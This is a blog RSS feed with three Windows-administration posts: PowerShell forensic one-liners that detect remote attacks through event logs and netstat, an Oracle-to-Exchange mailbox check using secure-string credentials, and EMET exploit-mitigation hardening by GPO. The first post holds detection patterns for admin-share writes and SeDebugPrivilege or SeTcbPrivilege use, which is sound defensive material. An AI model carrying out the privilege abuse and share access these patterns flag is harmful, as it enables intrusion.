<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	
	xmlns:georss="http://www.georss.org/georss"
	xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#"
	>

<channel>
	<title>ldap389</title>
	<atom:link href="https://www.ldap389.info/en/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.ldap389.info/en/</link>
	<description>Leonard Savina - @ldap389</description>
	<lastBuildDate>Fri, 27 Jan 2017 23:28:18 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>
<site xmlns="com-wordpress:feed-additions:1">12579109</site>	<item>
		<title>Powershell: Forensic One-liners</title>
		<link>https://www.ldap389.info/en/2013/06/17/powershell-forensic-onliners-regex-get-eventlog/</link>
					<comments>https://www.ldap389.info/en/2013/06/17/powershell-forensic-onliners-regex-get-eventlog/#comments</comments>
		
		<dc:creator><![CDATA[ldap389]]></dc:creator>
		<pubDate>Mon, 17 Jun 2013 18:54:49 +0000</pubDate>
				<category><![CDATA[gpo @en]]></category>
		<category><![CDATA[scripts @en]]></category>
		<category><![CDATA[security]]></category>
		<guid isPermaLink="false">https://www.ldap389.info/?p=2361</guid>

					<description><![CDATA[We will show in this post how you can gather evidence of a potential remote attack on your Windows computer with some Powershell one-liners. This is done by analyzing the security log with the Get-EventLog cmdlet and by displaying active remote connections with the Netstat command. You can find a cool one-liner that retrieves the [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>We will show in this post how you can gather evidence of a potential remote attack on your Windows computer with some Powershell one-liners. This is done by analyzing the security log with the  <a href="http://technet.microsoft.com/en-us/library/ee176846.aspx">Get-EventLog</a> cmdlet and by displaying active remote connections with the <a href="http://technet.microsoft.com/en-us/library/bb490947.aspx">Netstat</a> command.<br />
<span id="more-2361"></span></p>
<p>You can find a cool one-liner that retrieves the events of the <a href="http://support.microsoft.com/kb/977519">Account logon</a> category in this <em><a href="http://www.sans.org/reading_room/whitepapers/forensics/windows-logon-forensics_34132">Windows Logon Forensics</a></em> whitepaper (chapter <em>6.4. Querying Events</em>). The one-liner fetchs the following events which occurred during the past five days:</p>
<ul>
<li>A Kerberos authentication ticket (TGT) was requested.</li>
<li>The computer attempted to validate the credentials for an account.</li>
</ul>
<p>We were inspired by the one-liner presented in this document, downloaded at the <a href="http://www.sans.org/reading_room/">SANS</a> reading room, to make a Powershell one-liner the purpose of which is to gather proof of a potential attack on your Windows computer. First in order to have the relevant information in your security log you need to configure the <a href="http://technet.microsoft.com/en-us/library/dd772712(v=ws.10).aspx">advanced security audit policy settings</a>. We will enable auditing for the following categories: <em>Process Tracking\Process Creation</em>, <em>Object Access\Detailed File Share</em> and <em>Privilege Use\Sensitive Privilege Use</em>. This can be done via GPO: </p>
<p><a href="https://www.ldap389.info/wp-content/uploads/2013/05/2Audit_gpo.png" rel="lightbox[2361]"><img fetchpriority="high" decoding="async" src="https://www.ldap389.info/wp-content/uploads/2013/05/2Audit_gpo-300x190.png" alt="2Audit_gpo" width="300" height="190" class="aligncenter size-medium wp-image-2337" srcset="https://www.ldap389.info/wp-content/uploads/2013/05/2Audit_gpo-300x190.png 300w, https://www.ldap389.info/wp-content/uploads/2013/05/2Audit_gpo.png 823w" sizes="(max-width: 300px) 100vw, 300px" /></a></p>
<p>We enable the following <a href="http://technet.microsoft.com/en-us/library/dd772710(v=ws.10).aspx">parameter</a>: Force audit policy subcategory settings to override audit policy category settings. Our computers are running Windows 7/2008R2. Beware of the <a href="http://blogs.technet.com/b/askds/archive/2011/03/11/getting-the-effective-audit-policy-in-windows-7-and-2008-r2.aspx">consequences</a>, legacy policies will be ignored.</p>
<p>Beware that you should not enable the <em>Object Access\Detailed File Share</em> setting on all types of servers: For example on a DC, because the SYSVOL share is often accessed by all your domain clients this setting will generate an important volume of logs to store/analyze.</p>
<p>The one-liner will search for the following events:</p>
<ul>
<li><a href="http://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=5145">Event ID 5145</a>: Category <em>Object Access\Detailed File Share</em>, gives us information on the accessed shares. If one of the following administrative shares is accessed IPC$,ADMIN$,C$ and the access requested is a <a href="http://www.monitorware.com/common/en/articles/audit_file_deletion.php">write access</a>, <em>%%4417 = WriteData(or Add File)</em>, then the event is returned.</li>
</ul>
<p><a href="https://www.ldap389.info/wp-content/uploads/2013/05/Sharetoken.png" rel="lightbox[2361]"><img decoding="async" class="aligncenter size-medium wp-image-2302" alt="Sharetoken" src="https://www.ldap389.info/wp-content/uploads/2013/05/Sharetoken-300x211.png" width="300" height="211" srcset="https://www.ldap389.info/wp-content/uploads/2013/05/Sharetoken-300x211.png 300w, https://www.ldap389.info/wp-content/uploads/2013/05/Sharetoken.png 620w" sizes="(max-width: 300px) 100vw, 300px" /></a></p>
<ul>
<li><a href="http://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=4688">Event ID 4688</a>: Category <em>Process Tracking\Process Creation</em>, monitors every process creation. If the process <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/bb530718(v=vs.85).aspx"><em>TokenElevationType</em></a> is <em>TokenElevationTypeDefault</em> (<em>%%1936</em>) or <em>TokenElevationTypeFull</em> (<em>%%1937</em>) the event is gathered.</li>
</ul>
<p><a href="https://www.ldap389.info/wp-content/uploads/2013/05/Processcreation_TokenElevation.png" rel="lightbox[2361]"><img decoding="async" class="aligncenter size-medium wp-image-2303" alt="Processcreation_TokenElevation" src="https://www.ldap389.info/wp-content/uploads/2013/05/Processcreation_TokenElevation-300x207.png" width="300" height="207" srcset="https://www.ldap389.info/wp-content/uploads/2013/05/Processcreation_TokenElevation-300x207.png 300w, https://www.ldap389.info/wp-content/uploads/2013/05/Processcreation_TokenElevation.png 633w" sizes="(max-width: 300px) 100vw, 300px" /></a></p>
<ul>
<li><a href="https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=4674">Event ID 4674</a>: Category <em>Privilege Use\Sensitive Privilege Use</em>, If the <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/bb530716(v=vs.85).aspx">privilege</a> requested is <em>SeTcbPrivilege</em> (Act as part of the operating system), <em>SeTakeOwnershipPrivilege</em> (Take ownership of files or other objects) or <em>SeDebugPrivilege</em> (Debug programs) the event is collected:</li>
</ul>
<p><a href="https://www.ldap389.info/wp-content/uploads/2013/05/SetakeOwnerShip.png" rel="lightbox[2361]"><img loading="lazy" decoding="async" class="aligncenter size-medium wp-image-2304" alt="SetakeOwnerShip" src="https://www.ldap389.info/wp-content/uploads/2013/05/SetakeOwnerShip-300x208.png" width="300" height="208" srcset="https://www.ldap389.info/wp-content/uploads/2013/05/SetakeOwnerShip-300x208.png 300w, https://www.ldap389.info/wp-content/uploads/2013/05/SetakeOwnerShip.png 633w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></p>
<p>The following onliner searches for the three types of events described above which show up over the past 5 days:</p>
<pre lang="Powershell">get-eventlog -log security | where-object {$_.TimeGenerated -gt (get-date).adddays(-5) -AND $_.EntryType -eq 'SuccessAudit' –AND  (($_.EventID -eq "5145" -AND $_.Message -match "\\\\\*\\ADMIN\$|\\\\\*\\C\$|\\\\\*\\IPC\$"  -AND $_.Message -match "\%\%4417") -OR ($_.EventID -eq "4674" -AND $_.Message -match "SeTakeOwnershipPrivilege|SeDebugPrivilege|SeTcbPrivilege") -OR ($_.EventID -eq "4688"  -AND $_.Message -match "\%\%1936|\%\%1937"))} | sort-object -property TimeGenerated</pre>
<p>In order to search patterns having special characters with a <a href="http://technet.microsoft.com/fr-fr/magazine/2007.11.powershell.aspx">regular expression</a> you need to use the &#8220;\&#8221; as an escape character. </p>
<p>If the 3 events occur successively this might be an evidence of a remote attack on the machine: </p>
<p><a href="https://www.ldap389.info/wp-content/uploads/2013/05/launch-onliner.png" rel="lightbox[2361]"><img loading="lazy" decoding="async" class="aligncenter size-medium wp-image-2305" alt="launch-onliner" src="https://www.ldap389.info/wp-content/uploads/2013/05/launch-onliner-300x179.png" width="300" height="179" srcset="https://www.ldap389.info/wp-content/uploads/2013/05/launch-onliner-300x179.png 300w, https://www.ldap389.info/wp-content/uploads/2013/05/launch-onliner.png 964w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></p>
<p>The security logs show us that the remote attacker IP address is 192.168.206.135. We will use the netstat command in order to retrieve the active connections and check if the attacker is still connected:</p>
<p>The following one-liner displays the netstat output and gives us the name of the process used now by the attacker in a more readable format than the <em>netstat -anb</em> command:  </p>
<pre lang="Powershell">netstat -ano | Select-String -Pattern '\s+(TCP|UDP)' | foreach-object{$item = $_.line.split(' ',[System.StringSplitOptions]::RemoveEmptyEntries);if(($item[2] -notmatch '127.0.0.1:|\[::1\]:') -and ($item[2] -ne '*:*') -and ($item[2] -ne '0.0.0.0:0') -and ($item[2] -ne '[::]:0')){($item[0]+"`t"+$item[1]+"`t"+$item[2]+"`t"+$item[3]+"`t"+(get-process -id $item[4]).Name) | ft}}</pre>
<p>Here is the connection used by the attacker:</p>
<p><a href="https://www.ldap389.info/wp-content/uploads/2013/05/launchnetstat.png" rel="lightbox[2361]"><img loading="lazy" decoding="async" class="aligncenter size-medium wp-image-2306" alt="launchnetstat" src="https://www.ldap389.info/wp-content/uploads/2013/05/launchnetstat-300x80.png" width="300" height="80" srcset="https://www.ldap389.info/wp-content/uploads/2013/05/launchnetstat-300x80.png 300w, https://www.ldap389.info/wp-content/uploads/2013/05/launchnetstat.png 984w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></p>
<p>For a more advanced script on the use of netstat with Powershell check this <a href="http://gallery.technet.microsoft.com/scriptcenter/Get-NetworkStatistics-66057d71">script</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.ldap389.info/en/2013/06/17/powershell-forensic-onliners-regex-get-eventlog/feed/</wfw:commentRss>
			<slash:comments>3</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">2361</post-id>	</item>
		<item>
		<title>Powershell: Oracle, Exchange, secure string.</title>
		<link>https://www.ldap389.info/en/2013/04/23/powershell-oracle-password-secure-string-exchange/</link>
					<comments>https://www.ldap389.info/en/2013/04/23/powershell-oracle-password-secure-string-exchange/#comments</comments>
		
		<dc:creator><![CDATA[ldap389]]></dc:creator>
		<pubDate>Tue, 23 Apr 2013 14:22:44 +0000</pubDate>
				<category><![CDATA[scripts @en]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[tools @en]]></category>
		<category><![CDATA[Exchange @en]]></category>
		<category><![CDATA[Oracle @en]]></category>
		<category><![CDATA[PowerShell @en]]></category>
		<guid isPermaLink="false">https://www.ldap389.info/?p=2290</guid>

					<description><![CDATA[We will describe in this post how to connect to an Oracle database using Powershell cmdlets, this database hosts HR data. We will check if every employee has an Exchange 2010 mailbox. The common key between both systems (Oracle and Exchange) has to be a filterable attribute for performance issues when querying the Exchange mailboxes. [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>We will describe in this post how to connect to an <a href="http://en.wikipedia.org/wiki/Oracle_Corporation">Oracle</a> database using Powershell cmdlets, this database hosts HR data. We will check if every employee has an Exchange 2010 mailbox. The common key between both systems (Oracle and Exchange) has to be a <a href="http://technet.microsoft.com/en-us/library/bb738155(v=exchg.150).aspx">filterable</a> attribute for performance issues when querying the Exchange mailboxes. Exchange&#8217;s attribute is <em>CustomAttribute13</em> in our example and the corresponding Oracle value is <em>HRCODE</em>.<br />
<span id="more-2290"></span></p>
<p>In order to query the Oracle database with Powershell you need to install <a href="http://www.oracle.com/technetwork/database/windows/downloads/index-090165.html">ODAC 64bits</a> on a Windows 64bits machine. Launch the setup by installing only the ODP.net provider that matches your .NET Framework version. In our example:</p>
<blockquote><p>install.bat odp.net2  c:\oracle myhome true</p></blockquote>
<p>Now you can <a href="http://social.technet.microsoft.com/Forums/en-US/winserverpowershell/thread/2fc345f8-4598-4703-971f-a2537f39a3bb/">connect to the Oracle</a> database by calling the <em>Oracle.DataAccess.dll</em> assembly brought by ODAC-64bits:</p>
<pre lang="Powershell">$Assemblyfile = "C:\oracle\odp.net\bin\2.x\Oracle.DataAccess.dll"
[Reflection.Assembly]::LoadFile($AssemblyFile) | out-null</pre>
<p>Read this <a href="http://blogs.technet.com/b/heyscriptingguy/archive/2012/12/04/use-oracle-odp-net-and-powershell-to-simplify-data-access.aspx">article</a> for further information.</p>
<p>We do not want to leave the database connection credentials in plain text in the script. To avoid this we will use a <a href="http://blogs.technet.com/b/heyscriptingguy/archive/2013/03/26/decrypt-powershell-secure-string-password.aspx">secure string</a>, the encrypted <em>cred.txt</em> file will be generated with the account launching the Exchange <a href="http://www.mikepfeiffer.net/2010/02/creating-scheduled-tasks-for-exchange-2010-powershell-scripts/">scheduled task</a>.</p>
<p><a href="https://www.ldap389.info/wp-content/uploads/2013/03/generatePasswordFile.jpg" rel="lightbox[2290]"><img loading="lazy" decoding="async" src="https://www.ldap389.info/wp-content/uploads/2013/03/generatePasswordFile-300x63.jpg" alt="generatePasswordFile" width="300" height="63" class="aligncenter size-medium wp-image-2247" srcset="https://www.ldap389.info/wp-content/uploads/2013/03/generatePasswordFile-300x63.jpg 300w, https://www.ldap389.info/wp-content/uploads/2013/03/generatePasswordFile.jpg 841w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></p>
<p>If the file is read by another account, it will fail:</p>
<p><a href="https://www.ldap389.info/wp-content/uploads/2013/03/failedpassword.jpg" rel="lightbox[2290]"><img loading="lazy" decoding="async" src="https://www.ldap389.info/wp-content/uploads/2013/03/failedpassword-300x76.jpg" alt="failedpassword" width="300" height="76" class="aligncenter size-medium wp-image-2248" srcset="https://www.ldap389.info/wp-content/uploads/2013/03/failedpassword-300x76.jpg 300w, https://www.ldap389.info/wp-content/uploads/2013/03/failedpassword.jpg 873w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></p>
<p>Here is how to generate the <em>cred.txt</em> file:</p>
<pre lang="Powershell">read-host -assecurestring "pass" | convertfrom -secure string | out-file c:\cred.txt</pre>
<p>We now launch the <a href="http://www.connectionstrings.com/oracle#net-framework-data-provider-for-oracle">connexion</a> to the Oracle database:</p>
<pre lang="Powershell">#Read $Pword from file.
$Pword = get-content cred.txt | convertto-securestring
$user = "adm"
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User, $PWord

$OracleConnection = New-Object -TypeName Oracle.DataAccess.Client.OracleConnection

#Change host, Port, Service_Name values
$connectionString = "Data Source=(DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)(Host=ldap389-oraclesrv)(Port=1532)))(CONNECT_DATA=(SERVICE_NAME=HR1)));User ID="+$credential.GetNetworkCredential().username+";Password="+$credential.GetNetworkCredential().password
$OracleConnection.ConnectionString = $ConnectionString
$OracleConnection.Open()</pre>
<p>We look for the employees starting 3 days from now, to launch the right query we play with <a href="http://technet.microsoft.com/en-us/library/ee692801.aspx">date formats</a>.</p>
<pre lang="Powershell">#Date in format MM/DD/YYYY HH:MI:SS, +3 days from now

$date = Get-Date((get-date).addDays(+3)) -format "MM/dd/yyyy hh:mm:ss"
#Get users starting in 3 days in HR database, change table (LDAP389FAMILY), and attributes: HRCODE is customAttribute13
$CommandText  = "SELECT HRCODE,START_DATE FROM LDAP389FAMILY WHERE START_DATE BETWEEN SYSTEMDATE AND to_date('"+$date+"', 'MM/DD/YYYY HH24:MI:SS')"

#Launching query
$OracleCommand = New-Object -TypeName Oracle.DataAccess.Client.OracleCommand
$OracleCommand.CommandText = $CommandText
$OracleCommand.Connection = $OracleConnection
$OracleDataAdapter = New-Object -TypeName Oracle.DataAccess.Client.OracleDataAdapter
$OracleDataAdapter.SelectCommand = $OracleCommand
$DataSet = New-Object -TypeName System.Data.DataSet
$OracleDataAdapter.Fill($DataSet)
$OracleDataAdapter.Dispose()
$OracleCommand.Dispose()
$OracleConnection.Close()
$Oracleresults = $DataSet.Tables[0]</pre>
<p>The scheduled task connects to the Exchange system as described in this previous <a href="https://www.ldap389.info/2012/04/15/powershell-autoriser-activesync-groupe-ad-rbac-exchange-tache-planifiee/">post</a>. It is launched with the account which has the authorization to read the <a href="http://blogs.technet.com/b/heyscriptingguy/archive/2013/03/26/decrypt-powershell-secure-string-password.aspx">secure string</a>:  </p>
<pre lang="Powershell">#With this command you do not need to install the Exchange Management Shell on the server, change the fqdn Cas-server.ldap389.local

$s = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://Cas-server.ldap389.local/PowerShell/
Import-PSSession $s -allowclobber</pre>
<p>When creating a scheduled task, credentials set up to run the task are stored in <a href="http://blogs.technet.com/b/heyscriptingguy/archive/2012/07/06/use-powershell-to-decrypt-lsa-secrets-from-the-registry.aspx"><em>LSAsecrets</em></a>. You can improve security by using a <a href="http://blogs.technet.com/b/askpfeplat/archive/2012/12/17/windows-server-2012-group-managed-service-accounts.aspx">gMSA</a> under Windows 2012: The account has limited privileges and the password automatically updated, the password hash is also stored in <em>LSAsecrets</em>.</p>
<p>The script checks wether the <em>HRCODEs</em> retrieved from the Oracle database match a <em>CustomAttribute13</em> of any Exchange mailbox or not. Wether the mailbox is already created or not, the relevant information is displayed: </p>
<pre lang="Powershell">foreach($Oracleresult in $Oracleresults)
{$customAttr13 = $Oracleresult.HRCODE

#Check if mailbox was created:  
$mbx = get-mailbox -filter "(CustomAttribute13 -eq '$customAttr13')"
	if($mbx){
	write-host '--------------------------------------------------'
	write-host 'MBX already created'
	write-host 'Exchange information'
	$mbx | select CustomAttribute13,WindowsEmailAddress,whencreated
	write-host 'HRCODE: '$customAttr13
	write-host 'Start date: '$Oracleresult.START_DATE
	}
	#Mailbox is not created:  
	else{
	write-host '--------------------------------------------------'
	write-host 'Create MBX ASAP'
	write-host 'HRCODE '$customAttr13
	write-host 'Start date: '$Oracleresult.START_DATE
	}
}</pre>
<p>In order to download the full script just click on the link bellow:</p>
<p><a href="https://www.ldap389.info/wp-content/uploads/2013/03/HROracle-ExchMBX.ps1.txt"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-83" title="tool" src="https://www.ldap389.info/wp-content/uploads/2010/03/tool1.png" alt="" width="48" height="48" /></a></p>
<p>No more excuses for creating a mailbox two weeks after an employee has started working at your company <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f609.png" alt="😉" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.ldap389.info/en/2013/04/23/powershell-oracle-password-secure-string-exchange/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">2290</post-id>	</item>
		<item>
		<title>Processes security: EMET configuration, enabling DEP, ASLR&#8230;</title>
		<link>https://www.ldap389.info/en/2013/03/15/processes-securit-gpo-emet-configuration-enabling-dep-aslr-sehop-binscope/</link>
					<comments>https://www.ldap389.info/en/2013/03/15/processes-securit-gpo-emet-configuration-enabling-dep-aslr-sehop-binscope/#respond</comments>
		
		<dc:creator><![CDATA[ldap389]]></dc:creator>
		<pubDate>Fri, 15 Mar 2013 13:57:30 +0000</pubDate>
				<category><![CDATA[gpo @en]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[aslr @en]]></category>
		<category><![CDATA[EMET @en]]></category>
		<category><![CDATA[vbs @en]]></category>
		<guid isPermaLink="false">https://www.ldap389.info/?p=2230</guid>

					<description><![CDATA[In order to control what processes are running on your clients you can use the Software Restriction Policies or tools like Applocker or Bit9. You can also increase the security of you system on the allowed processes by enabling some mitigations like DEP, ASLR, SEHOP&#8230; We will describe in this post how to use EMET: [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>In order to control what processes are running on your clients you can use the <a href="http://technet.microsoft.com/en-us/library/bb457006.aspx">Software Restriction Policies</a> or tools like <a href="http://technet.microsoft.com/en-us/library/dd723678(v=ws.10).aspx">Applocker</a> or <a href="https://www.bit9.com/products/trust-based-security-platform/">Bit9</a>. You can also increase the security of you system on the allowed processes by enabling some mitigations like <a href="http://en.wikipedia.org/wiki/Data_Execution_Prevention">DEP</a>, <a href="http://en.wikipedia.org/wiki/Address_space_layout_randomization">ASLR</a>, <a href="http://blogs.technet.com/b/srd/archive/2009/02/02/preventing-the-exploitation-of-seh-overwrites-with-sehop.aspx">SEHOP</a>&#8230; We will describe in this post how to use <a href="http://blogs.technet.com/b/srd/archive/2012/05/15/introducing-emet-v3.aspx">EMET</a>: A tool provided by Microsoft which allows you to configure these features. By protecting the processes running on your computer with these features you can even be protected against some <a href="http://infosecisland.com/blogview/22831-Microsoft-EMET-the-patch-for-0days.html">0-day exploits</a>.<br />
<span id="more-2230"></span></p>
<p>You can setup these security settings by using a GPO, thanks to the <em>ADMX</em> files shipped in the <a href="http://www.microsoft.com/en-us/download/details.aspx?id=29851">EMET 3.0</a> package. The security settings are only effective when you install EMET on your clients, as a result you will need to deploy the package on all your clients with a software deployment tool (this is my recommendation), or via a GPO. In addition, in order to apply/renew the settings configured with the GPO you will need to launch the following command at client startup: </p>
<p><code>EMET_Conf.exe --refresh</code></p>
<p>We will configure the following <em>emet.vbs</em> startup script in our GPO:</p>
<pre lang="vb">Set fso = CreateObject("Scripting.FileSystemObject")
Set shl = CreateObject("WScript.Shell")

path="C:\Program Files (x86)\EMET\" 
exists = fso.FolderExists(path)

if (exists) then 
	program="EMET_Conf.exe"&chr(34)&" --refresh"
	cmd = chr(34)& path & program
	shl.Run cmd,1,True
end if

path2="C:\Program Files\EMET\"
exists2 = fso.FolderExists(path2)
if (exists2) then 
	program2="EMET_Conf.exe"&chr(34)&" --refresh"
	cmd2 = chr(34)& path2 & program2    
	shl.Run cmd2,1,True
end if</pre>
<p>The <em>ADMX</em> files allow you to configure system wide mitigations: We enable DEP, ASLR and SEHOP in <em>Optin</em> mode (default mode) for all the processes. Then you can configure each process individually: We load the templates provided by Microsoft, who already tested some third party applications (Adobe Acrobat, Firefox)&#8230; Finally the result is a fat GPO which installs and configures EMET settings:</p>
<p><a href="https://www.ldap389.info/wp-content/uploads/2013/03/GPO-aslr-dep1.jpg" rel="lightbox[2230]"><img loading="lazy" decoding="async" class="aligncenter size-medium wp-image-2192" alt="GPO-aslr-dep" src="https://www.ldap389.info/wp-content/uploads/2013/03/GPO-aslr-dep1-142x300.jpg" width="142" height="300" srcset="https://www.ldap389.info/wp-content/uploads/2013/03/GPO-aslr-dep1-142x300.jpg 142w, https://www.ldap389.info/wp-content/uploads/2013/03/GPO-aslr-dep1-487x1024.jpg 487w" sizes="auto, (max-width: 142px) 100vw, 142px" /></a></p>
<p>Before you deploy EMET, my advice is to read carefully the <em>EMET User&#8217;s Guide</em> shipped in the package and, of course, to test before implementation.</p>
<p>In order to know if an application is compiled with these mitigations available you can use <a href="http://blogs.technet.com/b/security/archive/2012/08/15/microsoft-s-free-security-tools-binscope-binary-analyzer.aspx">binscope</a>. Let&#8217;s take for example the <em>nxfinder.exe</em> process, we launch <a href="http://technet.microsoft.com/en-us/sysinternals/bb896653.aspx">Process Explorer</a> on a Windows XP 32bits machine where our GPO is not applied yet:</p>
<p><a href="https://www.ldap389.info/wp-content/uploads/2013/03/processxpDEPdisabled.jpg" rel="lightbox[2230]"><img loading="lazy" decoding="async" class="aligncenter size-medium wp-image-2173" alt="processxpDEPdisabled" src="https://www.ldap389.info/wp-content/uploads/2013/03/processxpDEPdisabled-300x224.jpg" width="300" height="224" srcset="https://www.ldap389.info/wp-content/uploads/2013/03/processxpDEPdisabled-300x224.jpg 300w, https://www.ldap389.info/wp-content/uploads/2013/03/processxpDEPdisabled.jpg 797w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></p>
<p>You can see that the process is digitally signed but the DEP mitigation is not enabled. We launch the binscope in order to analyze this process and check is the ASLR, DEP and SEHOP mitigations are available:</p>
<p><a href="https://www.ldap389.info/wp-content/uploads/2013/03/binscope.jpg" rel="lightbox[2230]"><img loading="lazy" decoding="async" class="aligncenter size-medium wp-image-2174" alt="binscope" src="https://www.ldap389.info/wp-content/uploads/2013/03/binscope-300x169.jpg" width="300" height="169" srcset="https://www.ldap389.info/wp-content/uploads/2013/03/binscope-300x169.jpg 300w, https://www.ldap389.info/wp-content/uploads/2013/03/binscope.jpg 779w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></p>
<p>The following checks are performed:</p>
<ul>
<li>SafeSEHCheck: SEHOP feature.</li>
<li>DBCheck: ASLR feature (/DYNAMICBASE check).</li>
<li>NXCheck: DEP feature (NXCOMPAT Check).</li>
</ul>
<p><a href="https://www.ldap389.info/wp-content/uploads/2013/03/binscope1.jpg" rel="lightbox[2230]"><img loading="lazy" decoding="async" class="aligncenter size-medium wp-image-2177" alt="binscope1" src="https://www.ldap389.info/wp-content/uploads/2013/03/binscope1-300x294.jpg" width="300" height="294" srcset="https://www.ldap389.info/wp-content/uploads/2013/03/binscope1-300x294.jpg 300w, https://www.ldap389.info/wp-content/uploads/2013/03/binscope1.jpg 773w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></p>
<p>As processes linked with the /NXCOMPAT option are opted-in to DEP by default only prior to <a href="http://blogs.technet.com/b/srd/archive/2009/06/05/understanding-dep-as-a-mitigation-technology-part-1.aspx">Windows Vista</a>, DEP is not enabled on our Windows XP 32bits machine for this process although it is totally compatible to run with DEP enabled. We will tell EMET to enable all mitigations for this process except SEHOP, because binscope tells us it is not necessary as the binary does not use exceptions. In the above fat GPO you can see the settings applied for the <em>nxfinder.exe</em> process. On the Windows XP 32bits machine, we can see with Process Explorer, that DEP is now enabled once the GPO has been applied:</p>
<p><a href="https://www.ldap389.info/wp-content/uploads/2013/03/processxpDEPenabled.jpg" rel="lightbox[2230]"><img loading="lazy" decoding="async" class="aligncenter size-medium wp-image-2175" alt="processxpDEPenabled" src="https://www.ldap389.info/wp-content/uploads/2013/03/processxpDEPenabled-300x140.jpg" width="300" height="140" srcset="https://www.ldap389.info/wp-content/uploads/2013/03/processxpDEPenabled-300x140.jpg 300w, https://www.ldap389.info/wp-content/uploads/2013/03/processxpDEPenabled.jpg 779w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></p>
<p>Because ASLR is only available prior to Windows Vista, you can notice that we do not see this mitigation with Process Explorer under Windows XP 32bits. If we launch the same tool on a Windows 7 64bits system you can see the ASLR protection in the processes properties. In addition you can notice that <a href="http://support.microsoft.com/kb/912923/en-us">DEP is always enabled</a> (<em>permanent</em>) for 64-bit native programs:</p>
<p><a href="https://www.ldap389.info/wp-content/uploads/2013/03/windows7aslr.png" rel="lightbox[2230]"><img loading="lazy" decoding="async" class="aligncenter size-medium wp-image-2189" alt="windows7aslr" src="https://www.ldap389.info/wp-content/uploads/2013/03/windows7aslr-300x89.png" width="300" height="89" srcset="https://www.ldap389.info/wp-content/uploads/2013/03/windows7aslr-300x89.png 300w, https://www.ldap389.info/wp-content/uploads/2013/03/windows7aslr-1024x306.png 1024w, https://www.ldap389.info/wp-content/uploads/2013/03/windows7aslr.png 1139w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></p>
<p>With Process Explorer you can also check all the mitigations applied on each individual process by EMET, right click on a process in order to display the properties tab, navigate to the <em>environment</em> tab and check the <em>EMET_settings</em> value. You can also notice that the <em>emet.dll</em> is present in the <em>threads</em> tab on each process protected by EMET:</p>
<p><a href="https://www.ldap389.info/wp-content/uploads/2013/03/emet_settings.jpg" rel="lightbox[2230]"><img loading="lazy" decoding="async" src="https://www.ldap389.info/wp-content/uploads/2013/03/emet_settings-300x100.jpg" alt="emet_settings" width="300" height="100" class="aligncenter size-medium wp-image-2228" srcset="https://www.ldap389.info/wp-content/uploads/2013/03/emet_settings-300x100.jpg 300w, https://www.ldap389.info/wp-content/uploads/2013/03/emet_settings-1024x342.jpg 1024w, https://www.ldap389.info/wp-content/uploads/2013/03/emet_settings.jpg 1376w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></p>
<p>Another very good mitigation could be to disable all 32bits processes, this is for two reasons: Most malwares are 32bits processes so they won&#8217;t be able to run on those machines and you know that at least DEP will be enabled for all the processes. You can only achieve this under <a href="http://4sysops.com/archives/uninstall-windows-32-bit-on-windows-64-bit-wow64-on-windows-server-2008-r2-server-core/">Windows 2008R2 Core</a>. As EMET is a 32bits application, we will not apply the GPO on the Windows Core machines where 32bits processes are disabled (security group <em>SRV-32bits-DISABLED</em>):</p>
<p><a href="https://www.ldap389.info/wp-content/uploads/2013/03/deny-32bits-emet.jpg" rel="lightbox[2230]"><img loading="lazy" decoding="async" class="aligncenter size-medium wp-image-2191" alt="deny-32bits-emet" src="https://www.ldap389.info/wp-content/uploads/2013/03/deny-32bits-emet-232x300.jpg" width="232" height="300" srcset="https://www.ldap389.info/wp-content/uploads/2013/03/deny-32bits-emet-232x300.jpg 232w, https://www.ldap389.info/wp-content/uploads/2013/03/deny-32bits-emet.jpg 380w" sizes="auto, (max-width: 232px) 100vw, 232px" /></a></p>
<p>Before disabling <em>ServerCore-WoW64</em>, ensure that not a single 32bits process is running on your Windows server core&#8230;</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.ldap389.info/en/2013/03/15/processes-securit-gpo-emet-configuration-enabling-dep-aslr-sehop-binscope/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
